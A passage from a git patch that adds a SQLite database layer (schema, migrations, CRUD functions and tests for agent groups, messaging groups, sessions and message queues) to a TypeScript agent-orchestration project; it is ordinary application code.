CRUD, and agent-runner session DB operations. - src/log.ts: concise message-first logging API - src/types-v2.ts: AgentGroup, MessagingGroup, Session, MessageIn/Out - src/db/: connection (WAL), migration runner, 001-initial schema, CRUD for agent_groups, messaging_groups, sessions, pending_questions - container/agent-runner/src/db/: session DB connection, messages_in reads + status transitions, messages_out writes - 31 new tests, all 277 tests pass Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/connection.ts | 55 +++ container/agent-runner/src/db/index.ts | 5 + container/agent-runner/src/db/messages-in.ts | 65 +++ container/agent-runner/src/db/messages-out.ts | 62 +++ src/db/agent-groups.ts | 51 +++ src/db/connection.ts | 33 ++ src/db/db-v2.test.ts | 405 ++++++++++++++++++ src/db/index.ts | 37 ++ src/db/messaging-groups.ts | 98 +++++ src/db/migrations/001-initial.ts | 68 +++ src/db/migrations/index.ts | 46 ++ src/db/schema.ts | 103 +++++ src/db/sessions.ts | 85 ++++ src/log.ts | 64 +++ src/types-v2.ts | 90 ++++ 15 files changed, 1267 insertions(+) create mode 100644 container/agent-runner/src/db/connection.ts create mode 100644 container/agent-runner/src/db/index.ts create mode 100644 container/agent-runner/src/db/messages-in.ts create mode 100644 container/agent-runner/src/db/messages-out.ts create mode 100644 src/db/agent-groups.ts create mode 100644 src/db/connection.ts create mode 100644 src/db/db-v2.test.ts create mode 100644 src/db/index.ts create mode 100644 src/db/messaging-groups.ts create mode 100644 src/db/migrations/001-initial.ts create mode 100644 src/db/migrations/index.ts create mode 100644 src/db/schema.ts create mode 100644 src/db/sessions.ts create mode 100644 src/log.ts create mode 100644 src/types-v2.ts diff --git a/container/agent-runner/src/db/connection.ts b/container/agent-runner/src/db/connection.ts new file mode 100644 index 0000000..9e71e58 --- /dev/null +++ b/container/agent-runner/src/db/connection.ts @@ -0,0 +1,55 @@ +import Database from 'better-sqlite3'; + +const SESSION_DB_PATH = '/workspace/session.db'; + +let _db: Database.Database | null = null; + +export function getSessionDb(): Database.Database { + if (!_db) { + _db = new Database(process.env.SESSION_DB_PATH || SESSION_DB_PATH); + _db.pragma('journal_mode = WAL'); + _db.pragma('foreign_keys = ON'); + } + return _db; +} + +/** For tests — opens an in-memory DB with session schema. */ +export function initTestSessionDb(): Database.Database { + _db = new Database(':memory:'); + _db.pragma('foreign_keys = ON'); + _db.exec(` + CREATE TABLE messages_in ( + id TEXT PRIMARY KEY, + kind TEXT NOT NULL, + timestamp TEXT NOT NULL, + status TEXT DEFAULT 'pending', + status_changed TEXT, + process_after TEXT, + recurrence TEXT, + tries INTEGER DEFAULT 0, + platform_id TEXT, + channel_type TEXT, + thread_id TEXT, + content TEXT NOT NULL + ); + CREATE TABLE messages_out ( + id TEXT PRIMARY KEY, + in_reply_to TEXT, + timestamp TEXT NOT NULL, + delivered INTEGER DEFAULT 0, + deliver_after TEXT, + recurrence TEXT, + kind TEXT NOT NULL, + platform_id TEXT, + channel_type TEXT, + thread_id TEXT, + content TEXT NOT NULL + ); + `); + return _db; +} + +export function closeSessionDb(): void { + _db?.close(); + _db = null; +} diff --git a/container/agent-runner/src/db/index.ts b/container/agent-runner/src/db/index.ts new file mode 100644 index 0000000..63c00d3 --- /dev/null +++ b/container/agent-runner/src/db/index.ts @@ -0,0 +1,5 @@ +export { getSessionDb, initTestSessionDb, closeSessionDb } from './connection.js'; +export { getPendingMessages, markProcessing, markCompleted, markFailed, getMessageIn, findQuestionResponse } from './messages-in.js'; +export type { MessageInRow } from './messages-in.js'; +export { writeMessageOut, getUndeliveredMessages, markDelivered } from './messages-out.js'; +export type { MessageOutRow, WriteMessageOut } from './messages-out.js'; diff --git a/container/agent-runner/src/db/messages-in.ts b/container/agent-runner/src/db/messages-in.ts new file mode 100644 index 0000000..a68071b --- /dev/null +++ b/container/agent-runner/src/db/messages-in.ts @@ -0,0 +1,65 @@ +import { getSessionDb } from './connection.js'; + +export interface MessageInRow { + id: string; + kind: string; + timestamp: string; + status: string; + status_changed: string | null; + process_after: string | null; + recurrence: string | null; + tries: number; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + content: string; +} + +/** Fetch all pending messages that are due for processing. */ +export function getPendingMessages(): MessageInRow[] { + return getSessionDb() + .prepare( + `SELECT * FROM messages_in + WHERE status = 'pending' + AND (process_after IS NULL OR process_after <= datetime('now')) + ORDER BY timestamp ASC`, + ) + .all() as MessageInRow[]; +} + +/** Mark messages as processing. */ +export function markProcessing(ids: string[]): void { + if (ids.length === 0) return; + const db = getSessionDb(); + const stmt = db.prepare("UPDATE messages_in SET status = 'processing', status_changed = datetime('now'), tries = tries + 1 WHERE id = ?"); + db.transaction(() => { + for (const id of ids) stmt.run(id); + })(); +} + +/** Mark messages as completed. */ +export function markCompleted(ids: string[]): void { + if (ids.length === 0) return; + const db = getSessionDb(); + const stmt = db.prepare("UPDATE messages_in SET status = 'completed', status_changed = datetime('now') WHERE id = ?"); + db.transaction(() => { + for (const id of ids) stmt.run(id); + })(); +} + +/** Mark a single message as failed. */ +export function markFailed(id: string): void { + getSessionDb().prepare("UPDATE messages_in SET status = 'failed', status_changed = datetime('now') WHERE id = ?").run(id); +} + +/** Get a message by ID. */ +export function getMessageIn(id: string): MessageInRow | undefined { + return getSessionDb().prepare('SELECT * FROM messages_in WHERE id = ?').get(id) as MessageInRow | undefined; +} + +/** Find a pending response to a question (by questionId in content). */ +export function findQuestionResponse(questionId: string): MessageInRow | undefined { + return getSessionDb() + .prepare("SELECT * FROM messages_in WHERE status = 'pending' AND content LIKE ?") + .get(`%"questionId":"${questionId}"%`) as MessageInRow | undefined; +} diff --git a/container/agent-runner/src/db/messages-out.ts b/container/agent-runner/src/db/messages-out.ts new file mode 100644 index 0000000..97db901 --- /dev/null +++ b/container/agent-runner/src/db/messages-out.ts @@ -0,0 +1,62 @@ +import { getSessionDb } from './connection.js'; + +export interface MessageOutRow { + id: string; + in_reply_to: string | null; + timestamp: string; + delivered: number; + deliver_after: string | null; + recurrence: string | null; + kind: string; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + content: string; +} + +export interface WriteMessageOut { + id: string; + in_reply_to?: string | null; + deliver_after?: string | null; + recurrence?: string | null; + kind: string; + platform_id?: string | null; + channel_type?: string | null; + thread_id?: string | null; + content: string; +} + +/** Write a new outbound message. */ +export function writeMessageOut(msg: WriteMessageOut): void { + getSessionDb() + .prepare( + `INSERT INTO messages_out (id, in_reply_to, timestamp, delivered, deliver_after, recurrence, kind, platform_id, channel_type, thread_id, content) + VALUES (@id, @in_reply_to, datetime('now'), 0, @deliver_after, @recurrence, @kind, @platform_id, @channel_type, @thread_id, @content)`, + ) + .run({ + in_reply_to: null, + deliver_after: null, + recurrence: null, + platform_id: null, + channel_type: null, + thread_id: null, + ...msg, + }); +} + +/** Get undelivered messages (for host polling). */ +export function getUndeliveredMessages(): MessageOutRow[] { + return getSessionDb() + .prepare( + `SELECT * FROM messages_out + WHERE delivered = 0 + AND (deliver_after IS NULL OR deliver_after <= datetime('now')) + ORDER BY timestamp ASC`, + ) + .all() as MessageOutRow[]; +} + +/** Mark a message as delivered. */ +export function markDelivered(id: string): void { + getSessionDb().prepare('UPDATE messages_out SET delivered = 1 WHERE id = ?').run(id); +} diff --git a/src/db/agent-groups.ts b/src/db/agent-groups.ts new file mode 100644 index 0000000..a306616 --- /dev/null +++ b/src/db/agent-groups.ts @@ -0,0 +1,51 @@ +import type { AgentGroup } from '../types-v2.js'; +import { getDb } from './connection.js'; + +export function createAgentGroup(group: AgentGroup): void { + getDb() + .prepare( + `INSERT INTO agent_groups (id, name, folder, is_admin, agent_provider, container_config, created_at) + VALUES (@id, @name, @folder, @is_admin, @agent_provider, @container_config, @created_at)`, + ) + .run(group); +} + +export function getAgentGroup(id: string): AgentGroup | undefined { + return getDb().prepare('SELECT * FROM agent_groups WHERE id = ?').get(id) as AgentGroup | undefined; +} + +export function getAgentGroupByFolder(folder: string): AgentGroup | undefined { + return getDb().prepare('SELECT * FROM agent_groups WHERE folder = ?').get(folder) as AgentGroup | undefined; +} + +export function getAllAgentGroups(): AgentGroup[] { + return getDb().prepare('SELECT * FROM agent_groups ORDER BY name').all() as AgentGroup[]; +} + +export function getAdminAgentGroup(): AgentGroup | undefined { + return getDb().prepare('SELECT * FROM agent_groups WHERE is_admin = 1 LIMIT 1').get() as AgentGroup | undefined; +} + +export function updateAgentGroup( + id: string, + updates: Partial>, +): void { + const fields: string[] = []; + const values: Record = { id }; + + for (const [key, value] of Object.entries(updates)) { + if (value !== undefined) { + fields.push(`${key} = @${key}`); + values[key] = value; + } + } + if (fields.length === 0) return; + + getDb() + .prepare(`UPDATE agent_groups SET ${fields.join(', ')} WHERE id = @id`) + .run(values); +} + +export function deleteAgentGroup(id: string): void { + getDb().prepare('DELETE FROM agent_groups WHERE id = ?').run(id); +} diff --git a/src/db/connection.ts b/src/db/connection.ts new file mode 100644 index 0000000..6d13774 --- /dev/null +++ b/src/db/connection.ts @@ -0,0 +1,33 @@ +import Database from 'better-sqlite3'; +import fs from 'fs'; +import path from 'path'; + +import { log } from '../log.js'; + +let _db: Database.Database | null = null; + +export function getDb(): Database.Database { + if (!_db) throw new Error('Database not initialized. Call initDb() first.'); + return _db; +} + +export function initDb(dbPath: string): Database.Database { + fs.mkdirSync(path.dirname(dbPath), { recursive: true }); + _db = new Database(dbPath); + _db.pragma('journal_mode = WAL'); + _db.pragma('foreign_keys = ON'); + log.info('Central DB initialized', { path: dbPath }); + return _db; +} + +/** For tests only — creates an in-memory DB and runs migrations. */ +export function initTestDb(): Database.Database { + _db = new Database(':memory:'); + _db.pragma('foreign_keys = ON'); + return _db; +} + +export function closeDb(): void { + _db?.close(); + _db = null; +} diff --git a/src/db/db-v2.test.ts b/src/db/db-v2.test.ts new file mode 100644 index 0000000..daa9576 --- /dev/null +++ b/src/db/db-v2.test.ts @@ -0,0 +1,405 @@ +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; + +import { + initTestDb, + closeDb, + runMigrations, + createAgentGroup, + getAgentGroup, + getAgentGroupByFolder, + getAllAgentGroups, + getAdminAgentGroup, + updateAgentGroup, + deleteAgentGroup, + createMessagingGroup, + getMessagingGroup, + getMessagingGroupByPlatform, + getAllMessagingGroups, + updateMessagingGroup, + deleteMessagingGroup, + createMessagingGroupAgent, + getMessagingGroupAgents, + getMessagingGroupAgent, + updateMessagingGroupAgent, + deleteMessagingGroupAgent, + createSession, + getSession, + findSession, + getSessionsByAgentGroup, + getActiveSessions, + getRunningSessions, + updateSession, + deleteSession, + createPendingQuestion, + getPendingQuestion, + deletePendingQuestion, +} from './index.js'; + +function now() { + return new Date().toISOString(); +} + +beforeEach(() => { + const db = initTestDb(); + runMigrations(db); +}); + +afterEach(() => { + closeDb(); +}); + +// ── Migrations ── + +describe('migrations', () => { + it('should be idempotent', () => { + const db = initTestDb(); + runMigrations(db); + // Running again should not throw + runMigrations(db); + }); + + it('should track schema version', () => { + const db = initTestDb(); + runMigrations(db); + const row = db.prepare('SELECT MAX(version) as v FROM schema_version').get() as { v: number }; + expect(row.v).toBe(1); + }); +}); + +// ── Agent Groups ── + +describe('agent groups', () => { + const ag = () => ({ + id: 'ag-1', + name: 'Test Agent', + folder: 'test-agent', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + + it('should create and retrieve', () => { + createAgentGroup(ag()); + const result = getAgentGroup('ag-1'); + expect(result).toBeDefined(); + expect(result!.name).toBe('Test Agent'); + expect(result!.folder).toBe('test-agent'); + }); + + it('should find by folder', () => { + createAgentGroup(ag()); + const result = getAgentGroupByFolder('test-agent'); + expect(result).toBeDefined(); + expect(result!.id).toBe('ag-1'); + }); + + it('should list all', () => { + createAgentGroup(ag()); + createAgentGroup({ ...ag(), id: 'ag-2', name: 'Another', folder: 'another' }); + expect(getAllAgentGroups()).toHaveLength(2); + }); + + it('should find admin group', () => { + createAgentGroup(ag()); + createAgentGroup({ ...ag(), id: 'ag-admin', name: 'Admin', folder: 'admin', is_admin: 1 }); + const admin = getAdminAgentGroup(); + expect(admin).toBeDefined(); + expect(admin!.id).toBe('ag-admin'); + }); + + it('should update', () => { + createAgentGroup(ag()); + updateAgentGroup('ag-1', { name: 'Updated' }); + expect(getAgentGroup('ag-1')!.name).toBe('Updated'); + }); + + it('should delete', () => { + createAgentGroup(ag()); + deleteAgentGroup('ag-1'); + expect(getAgentGroup('ag-1')).toBeUndefined(); + }); + + it('should enforce unique folder', () => { + createAgentGroup(ag()); + expect(() => createAgentGroup({ ...ag(), id: 'ag-dup' })).toThrow(); + }); +}); + +// ── Messaging Groups ── + +describe('messaging groups', () => { + const mg = () => ({ + id: 'mg-1', + channel_type: 'discord', + platform_id: 'chan-123', + name: 'General', + is_group: 1, + admin_user_id: 'user-1', + created_at: now(), + }); + + it('should create and retrieve', () => { + createMessagingGroup(mg()); + const result = getMessagingGroup('mg-1'); + expect(result).toBeDefined(); + expect(result!.channel_type).toBe('discord'); + }); + + it('should find by platform', () => { + createMessagingGroup(mg()); + const result = getMessagingGroupByPlatform('discord', 'chan-123'); + expect(result).toBeDefined(); + expect(result!.id).toBe('mg-1'); + }); + + it('should enforce unique channel_type + platform_id', () => { + createMessagingGroup(mg()); + expect(() => createMessagingGroup({ ...mg(), id: 'mg-dup' })).toThrow(); + }); + + it('should update', () => { + createMessagingGroup(mg()); + updateMessagingGroup('mg-1', { name: 'Updated' }); + expect(getMessagingGroup('mg-1')!.name).toBe('Updated'); + }); + + it('should delete', () => { + createMessagingGroup(mg()); + deleteMessagingGroup('mg-1'); + expect(getMessagingGroup('mg-1')).toBeUndefined(); + }); +}); + +// ── Messaging Group Agents ── + +describe('messaging group agents', () => { + beforeEach(() => { + createAgentGroup({ + id: 'ag-1', + name: 'Agent', + folder: 'agent', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + createMessagingGroup({ + id: 'mg-1', + channel_type: 'discord', + platform_id: 'chan-1', + name: 'Gen', + is_group: 1, + admin_user_id: null, + created_at: now(), + }); + }); + + const mga = () => ({ + id: 'mga-1', + messaging_group_id: 'mg-1', + agent_group_id: 'ag-1', + trigger_rules: null, + response_scope: 'all' as const, + session_mode: 'shared' as const, + priority: 0, + created_at: now(), + }); + + it('should create and list by messaging group', () => { + createMessagingGroupAgent(mga()); + const results = getMessagingGroupAgents('mg-1'); + expect(results).toHaveLength(1); + expect(results[0].agent_group_id).toBe('ag-1'); + }); + + it('should order by priority descending', () => { + createMessagingGroupAgent(mga()); + createAgentGroup({ + id: 'ag-2', + name: 'Agent2', + folder: 'agent2', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + createMessagingGroupAgent({ ...mga(), id: 'mga-2', agent_group_id: 'ag-2', priority: 10 }); + const results = getMessagingGroupAgents('mg-1'); + expect(results[0].agent_group_id).toBe('ag-2'); + expect(results[1].agent_group_id).toBe('ag-1'); + }); + + it('should enforce unique messaging_group + agent_group', () => { + createMessagingGroupAgent(mga()); + expect(() => createMessagingGroupAgent({ ...mga(), id: 'mga-dup' })).toThrow(); + }); + + it('should update', () => { + createMessagingGroupAgent(mga()); + updateMessagingGroupAgent('mga-1', { priority: 5 }); + expect(getMessagingGroupAgent('mga-1')!.priority).toBe(5); + }); + + it('should delete', () => { + createMessagingGroupAgent(mga()); + deleteMessagingGroupAgent('mga-1'); + expect(getMessagingGroupAgents('mg-1')).toHaveLength(0); + }); + + it('should enforce foreign key on agent_group_id', () => { + expect(() => createMessagingGroupAgent({ ...mga(), agent_group_id: 'nonexistent' })).toThrow(); + }); +}); + +// ── Sessions ── + +describe('sessions', () => { + beforeEach(() => { + createAgentGroup({ + id: 'ag-1', + name: 'Agent', + folder: 'agent', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + createMessagingGroup({ + id: 'mg-1', + channel_type: 'discord', + platform_id: 'chan-1', + name: 'Gen', + is_group: 1, + admin_user_id: null, + created_at: now(), + }); + }); + + const sess = () => ({ + id: 'sess-1', + agent_group_id: 'ag-1', + messaging_group_id: 'mg-1', + thread_id: null, + agent_provider: null, + status: 'active' as const, + container_status: 'stopped' as const, + last_active: null, + created_at: now(), + }); + + it('should create and retrieve', () => { + createSession(sess()); + const result = getSession('sess-1'); + expect(result).toBeDefined(); + expect(result!.agent_group_id).toBe('ag-1'); + }); + + it('should find by messaging group (shared, no thread)', () => { + createSession(sess()); + const result = findSession('mg-1', null); + expect(result).toBeDefined(); + expect(result!.id).toBe('sess-1'); + }); + + it('should find by messaging group + thread', () => { + createSession({ ...sess(), thread_id: 'thread-1' }); + expect(findSession('mg-1', 'thread-1')).toBeDefined(); + expect(findSession('mg-1', 'thread-2')).toBeUndefined(); + expect(findSession('mg-1', null)).toBeUndefined(); + }); + + it('should only find active sessions', () => { + createSession({ ...sess(), status: 'closed' }); + expect(findSession('mg-1', null)).toBeUndefined(); + }); + + it('should list by agent group', () => { + createSession(sess()); + createSession({ ...sess(), id: 'sess-2', thread_id: 'thread-1' }); + expect(getSessionsByAgentGroup('ag-1')).toHaveLength(2); + }); + + it('should list active sessions', () => { + createSession(sess()); + createSession({ ...sess(), id: 'sess-closed', status: 'closed', thread_id: 'thread-x' }); + expect(getActiveSessions()).toHaveLength(1); + }); + + it('should list running sessions', () => { + createSession({ ...sess(), container_status: 'running' }); + createSession({ ...sess(), id: 'sess-idle', container_status: 'idle', thread_id: 'thread-1' }); + createSession({ ...sess(), id: 'sess-stopped', container_status: 'stopped', thread_id: 'thread-2' }); + expect(getRunningSessions()).toHaveLength(2); + }); + + it('should update', () => { + createSession(sess()); + updateSession('sess-1', { container_status: 'running', last_active: now() }); + const result = getSession('sess-1')!; + expect(result.container_status).toBe('running'); + expect(result.last_active).not.toBeNull(); + }); + + it('should delete', () => { + createSession(sess()); + deleteSession('sess-1'); + expect(getSession('sess-1')).toBeUndefined(); + }); +}); + +// ── Pending Questions ── + +describe('pending questions', () => { + beforeEach(() => { + createAgentGroup({ + id: 'ag-1', + name: 'Agent', + folder: 'agent', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + createSession({ + id: 'sess-1', + agent_group_id: 'ag-1', + messaging_group_id: null, + thread_id: null, + agent_provider: null, + status: 'active', + container_status: 'stopped', + last_active: null, + created_at: now(), + }); + }); + + it('should create and retrieve', () => { + createPendingQuestion({ + question_id: 'q-1', + session_id: 'sess-1', + message_out_id: 'msg-out-1', + platform_id: 'chan-1', + channel_type: 'discord', + thread_id: null, + created_at: now(), + }); + const result = getPendingQuestion('q-1'); + expect(result).toBeDefined(); + expect(result!.session_id).toBe('sess-1'); + }); + + it('should delete', () => { + createPendingQuestion({ + question_id: 'q-1', + session_id: 'sess-1', + message_out_id: 'msg-out-1', + platform_id: null, + channel_type: null, + thread_id: null, + created_at: now(), + }); + deletePendingQuestion('q-1'); + expect(getPendingQuestion('q-1')).toBeUndefined(); + }); +}); diff --git a/src/db/index.ts b/src/db/index.ts new file mode 100644 index 0000000..35645cb --- /dev/null +++ b/src/db/index.ts @@ -0,0 +1,37 @@ +export { initDb, initTestDb, getDb, closeDb } from './connection.js'; +export { runMigrations } from './migrations/index.js'; +export { + createAgentGroup, + getAgentGroup, + getAgentGroupByFolder, + getAllAgentGroups, + getAdminAgentGroup, + updateAgentGroup, + deleteAgentGroup, +} from './agent-groups.js'; +export { + createMessagingGroup, + getMessagingGroup, + getMessagingGroupByPlatform, + getAllMessagingGroups, + updateMessagingGroup, + deleteMessagingGroup, + createMessagingGroupAgent, + getMessagingGroupAgents, + getMessagingGroupAgent, + updateMessagingGroupAgent, + deleteMessagingGroupAgent, +} from './messaging-groups.js'; +export { + createSession, + getSession, + findSession, + getSessionsByAgentGroup, + getActiveSessions, + getRunningSessions, + updateSession, + deleteSession, + createPendingQuestion, + getPendingQuestion, + deletePendingQuestion, +} from './sessions.js'; diff --git a/src/db/messaging-groups.ts b/src/db/messaging-groups.ts new file mode 100644 index 0000000..40a9702 --- /dev/null +++ b/src/db/messaging-groups.ts @@ -0,0 +1,98 @@ +import type { MessagingGroup, MessagingGroupAgent } from '../types-v2.js'; +import { getDb } from './connection.js'; + +// ── Messaging Groups ── + +export function createMessagingGroup(group: MessagingGroup): void { + getDb() + .prepare( + `INSERT INTO messaging_groups (id, channel_type, platform_id, name, is_group, admin_user_id, created_at) + VALUES (@id, @channel_type, @platform_id, @name, @is_group, @admin_user_id, @created_at)`, + ) + .run(group); +} + +export function getMessagingGroup(id: string): MessagingGroup | undefined { + return getDb().prepare('SELECT * FROM messaging_groups WHERE id = ?').get(id) as MessagingGroup | undefined; +} + +export function getMessagingGroupByPlatform(channelType: string, platformId: string): MessagingGroup | undefined { + return getDb() + .prepare('SELECT * FROM messaging_groups WHERE channel_type = ? AND platform_id = ?') + .get(channelType, platformId) as MessagingGroup | undefined; +} + +export function getAllMessagingGroups(): MessagingGroup[] { + return getDb().prepare('SELECT * FROM messaging_groups ORDER BY name').all() as MessagingGroup[]; +} + +export function updateMessagingGroup( + id: string, + updates: Partial>, +): void { + const fields: string[] = []; + const values: Record = { id }; + + for (const [key, value] of Object.entries(updates)) { + if (value !== undefined) { + fields.push(`${key} = @${key}`); + values[key] = value; + } + } + if (fields.length === 0) return; + + getDb() + .prepare(`UPDATE messaging_groups SET ${fields.join(', ')} WHERE id = @id`) + .run(values); +} + +export function deleteMessagingGroup(id: string): void { + getDb().prepare('DELETE FROM messaging_groups WHERE id = ?').run(id); +} + +// ── Messaging Group Agents ── + +export function createMessagingGroupAgent(mga: MessagingGroupAgent): void { + getDb() + .prepare( + `INSERT INTO messaging_group_agents (id, messaging_group_id, agent_group_id, trigger_rules, response_scope, session_mode, priority, created_at) + VALUES (@id, @messaging_group_id, @agent_group_id, @trigger_rules, @response_scope, @session_mode, @priority, @created_at)`, + ) + .run(mga); +} + +export function getMessagingGroupAgents(messagingGroupId: string): MessagingGroupAgent[] { + return getDb() + .prepare('SELECT * FROM messaging_group_agents WHERE messaging_group_id = ? ORDER BY priority DESC') + .all(messagingGroupId) as MessagingGroupAgent[]; +} + +export function getMessagingGroupAgent(id: string): MessagingGroupAgent | undefined { + return getDb().prepare('SELECT * FROM messaging_group_agents WHERE id = ?').get(id) as + | MessagingGroupAgent + | undefined; +} + +export function updateMessagingGroupAgent( + id: string, + updates: Partial>, +): void { + const fields: string[] = []; + const values: Record = { id }; + + for (const [key, value] of Object.entries(updates)) { + if (value !== undefined) { + fields.push(`${key} = @${key}`); + values[key] = value; + } + } + if (fields.length === 0) return; + + getDb() + .prepare(`UPDATE messaging_group_agents SET ${fields.join(', ')} WHERE id = @id`) + .run(values); +} + +export function deleteMessagingGroupAgent(id: string): void { + getDb().prepare('DELETE FROM messaging_group_agents WHERE id = ?').run(id); +} diff --git a/src/db/migrations/001-initial.ts b/src/db/migrations/001-initial.ts new file mode 100644 index 0000000..d32b3c2 --- /dev/null +++ b/src/db/migrations/001-initial.ts @@ -0,0 +1,68 @@ +import type Database from 'better-sqlite3'; + +import type { Migration } from './index.js'; + +export const migration001: Migration = { + version: 1, + name: 'initial-v2-schema', + up(db: Database.Database) { + db.exec(` + CREATE TABLE agent_groups ( + id TEXT PRIMARY KEY, + name TEXT NOT NULL, + folder TEXT NOT NULL UNIQUE, + is_admin INTEGER DEFAULT 0, + agent_provider TEXT, + container_config TEXT, + created_at TEXT NOT NULL + ); + + CREATE TABLE messaging_groups ( + id TEXT PRIMARY KEY, + channel_type TEXT NOT NULL, + platform_id TEXT NOT NULL, + name TEXT, + is_group INTEGER DEFAULT 0, + admin_user_id TEXT, + created_at TEXT NOT NULL, + UNIQUE(channel_type, platform_id) + ); + + CREATE TABLE messaging_group_agents ( + id TEXT PRIMARY KEY, + messaging_group_id TEXT NOT NULL REFERENCES messaging_groups(id), + agent_group_id TEXT NOT NULL REFERENCES agent_groups(id), + trigger_rules TEXT, + response_scope TEXT DEFAULT 'all', + session_mode TEXT DEFAULT 'shared', + priority INTEGER DEFAULT 0, + created_at TEXT NOT NULL, + UNIQUE(messaging_group_id, agent_group_id) + ); + + CREATE TABLE sessions ( + id TEXT PRIMARY KEY, + agent_group_id TEXT NOT NULL REFERENCES agent_groups(id), + messaging_group_id TEXT REFERENCES messaging_groups(id), + thread_id TEXT, + agent_provider TEXT, + status TEXT DEFAULT 'active', + container_status TEXT DEFAULT 'stopped', + last_active TEXT, + created_at TEXT NOT NULL + ); + CREATE INDEX idx_sessions_agent_group ON sessions(agent_group_id); + CREATE INDEX idx_sessions_lookup ON sessions(messaging_group_id, thread_id); + + CREATE TABLE pending_questions ( + question_id TEXT PRIMARY KEY, + session_id TEXT NOT NULL REFERENCES sessions(id), + message_out_id TEXT NOT NULL, + platform_id TEXT, + channel_type TEXT, + thread_id TEXT, + created_at TEXT NOT NULL + ); + `); + }, +}; diff --git a/src/db/migrations/index.ts b/src/db/migrations/index.ts new file mode 100644 index 0000000..54e848c --- /dev/null +++ b/src/db/migrations/index.ts @@ -0,0 +1,46 @@ +import type Database from 'better-sqlite3'; + +import { log } from '../../log.js'; +import { migration001 } from './001-initial.js'; + +export interface Migration { + version: number; + name: string; + up: (db: Database.Database) => void; +} + +const migrations: Migration[] = [migration001]; + +export function runMigrations(db: Database.Database): void { + db.exec(` + CREATE TABLE IF NOT EXISTS schema_version ( + version INTEGER PRIMARY KEY, + name TEXT NOT NULL, + applied TEXT NOT NULL + ); + `); + + const currentVersion = + (db.prepare('SELECT MAX(version) as v FROM schema_version').get() as { v: number | null })?.v ?? 0; + + const pending = migrations.filter((m) => m.version > currentVersion); + if (pending.length === 0) return; + + log.info('Running migrations', { + from: currentVersion, + to: pending[pending.length - 1].version, + count: pending.length, + }); + + for (const m of pending) { + db.transaction(() => { + m.up(db); + db.prepare('INSERT INTO schema_version (version, name, applied) VALUES (?, ?, ?)').run( + m.version, + m.name, + new Date().toISOString(), + ); + })(); + log.info('Migration applied', { version: m.version, name: m.name }); + } +} diff --git a/src/db/schema.ts b/src/db/schema.ts new file mode 100644 index 0000000..2d50d18 --- /dev/null +++ b/src/db/schema.ts @@ -0,0 +1,103 @@ +/** + * Reference copy of the current v2 schema. + * Read this to understand the DB structure. + * Actual creation is done by migrations — do not use this at runtime. + */ + +export const SCHEMA = ` +-- Agent workspaces: folder, skills, CLAUDE.md, container config +CREATE TABLE agent_groups ( + id TEXT PRIMARY KEY, + name TEXT NOT NULL, + folder TEXT NOT NULL UNIQUE, + is_admin INTEGER DEFAULT 0, + agent_provider TEXT, + container_config TEXT, + created_at TEXT NOT NULL +); + +-- Platform groups/channels +CREATE TABLE messaging_groups ( + id TEXT PRIMARY KEY, + channel_type TEXT NOT NULL, + platform_id TEXT NOT NULL, + name TEXT, + is_group INTEGER DEFAULT 0, + admin_user_id TEXT, + created_at TEXT NOT NULL, + UNIQUE(channel_type, platform_id) +); + +-- Which agent groups handle which messaging groups +CREATE TABLE messaging_group_agents ( + id TEXT PRIMARY KEY, + messaging_group_id TEXT NOT NULL REFERENCES messaging_groups(id), + agent_group_id TEXT NOT NULL REFERENCES agent_groups(id), + trigger_rules TEXT, + response_scope TEXT DEFAULT 'all', + session_mode TEXT DEFAULT 'shared', + priority INTEGER DEFAULT 0, + created_at TEXT NOT NULL, + UNIQUE(messaging_group_id, agent_group_id) +); + +-- Sessions: one folder = one session = one container when running +CREATE TABLE sessions ( + id TEXT PRIMARY KEY, + agent_group_id TEXT NOT NULL REFERENCES agent_groups(id), + messaging_group_id TEXT REFERENCES messaging_groups(id), + thread_id TEXT, + agent_provider TEXT, + status TEXT DEFAULT 'active', + container_status TEXT DEFAULT 'stopped', + last_active TEXT, + created_at TEXT NOT NULL +); +CREATE INDEX idx_sessions_agent_group ON sessions(agent_group_id); +CREATE INDEX idx_sessions_lookup ON sessions(messaging_group_id, thread_id); + +-- Pending interactive questions +CREATE TABLE pending_questions ( + question_id TEXT PRIMARY KEY, + session_id TEXT NOT NULL REFERENCES sessions(id), + message_out_id TEXT NOT NULL, + platform_id TEXT, + channel_type TEXT, + thread_id TEXT, + created_at TEXT NOT NULL +); +`; + +/** + * Session DB schema — created fresh by the host for each session. + */ +export const SESSION_SCHEMA = ` +CREATE TABLE messages_in ( + id TEXT PRIMARY KEY, + kind TEXT NOT NULL, + timestamp TEXT NOT NULL, + status TEXT DEFAULT 'pending', + status_changed TEXT, + process_after TEXT, + recurrence TEXT, + tries INTEGER DEFAULT 0, + platform_id TEXT, + channel_type TEXT, + thread_id TEXT, + content TEXT NOT NULL +); + +CREATE TABLE messages_out ( + id TEXT PRIMARY KEY, + in_reply_to TEXT, + timestamp TEXT NOT NULL, + delivered INTEGER DEFAULT 0, + deliver_after TEXT, + recurrence TEXT, + kind TEXT NOT NULL, + platform_id TEXT, + channel_type TEXT, + thread_id TEXT, + content TEXT NOT NULL +); +`; diff --git a/src/db/sessions.ts b/src/db/sessions.ts new file mode 100644 index 0000000..57f00b9 --- /dev/null +++ b/src/db/sessions.ts @@ -0,0 +1,85 @@ +import type { PendingQuestion, Session } from '../types-v2.js'; +import { getDb } from './connection.js'; + +// ── Sessions ── + +export function createSession(session: Session): void { + getDb() + .prepare( + `INSERT INTO sessions (id, agent_group_id, messaging_group_id, thread_id, agent_provider, status, container_status, last_active, created_at) + VALUES (@id, @agent_group_id, @messaging_group_id, @thread_id, @agent_provider, @status, @container_status, @last_active, @created_at)`, + ) + .run(session); +} + +export function getSession(id: string): Session | undefined { + return getDb().prepare('SELECT * FROM sessions WHERE id = ?').get(id) as Session | undefined; +} + +export function findSession(messagingGroupId: string, threadId: string | null): Session | undefined { + if (threadId) { + return getDb() + .prepare('SELECT * FROM sessions WHERE messaging_group_id = ? AND thread_id = ? AND status = ?') + .get(messagingGroupId, threadId, 'active') as Session | undefined; + } + return getDb() + .prepare('SELECT * 